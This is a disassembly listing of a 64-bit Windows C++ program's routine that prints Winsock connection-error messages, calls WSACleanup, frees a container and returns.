jb 0x14000402f
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003df0
mov rcx, r13
call fcn.140006354
jmp 0x1400040df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xb8], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp edx, 3
je 0x1400040aa
lea rdx, str._UNKNOWN_ERROR__WSAGetLastError:
call fcn.140004a00
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x1400040cf
lea rdx, str.Connection_timed_out._Possible_loss_of_connection.
jmp 0x1400040ca
lea rdx, str.Connection_reset_by_peer.
jmp 0x1400040c3
lea rdx, str.Network_is_down._Connection_lost.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rcx, qword [rbp + 0x38]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x14000412b
mov r8, qword [rdi + 0x10]
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x38]
call fcn.140005ba0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400041e0
mov edx, 0x80
mov rcx, rbx
call fcn.140006354
cmp byte [rdi + 0x19], 0
je 0x1400040f4
mov rcx, qword [rbp + 0x38]
mov edx, 0x80
call fcn.140006354
xor eax, eax
mov rcx, qword [rbp + 0xc80]
xor rcx, rsp
call fcn.140006220
lea r11, [rsp + 0xd90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400046f0
nop
int3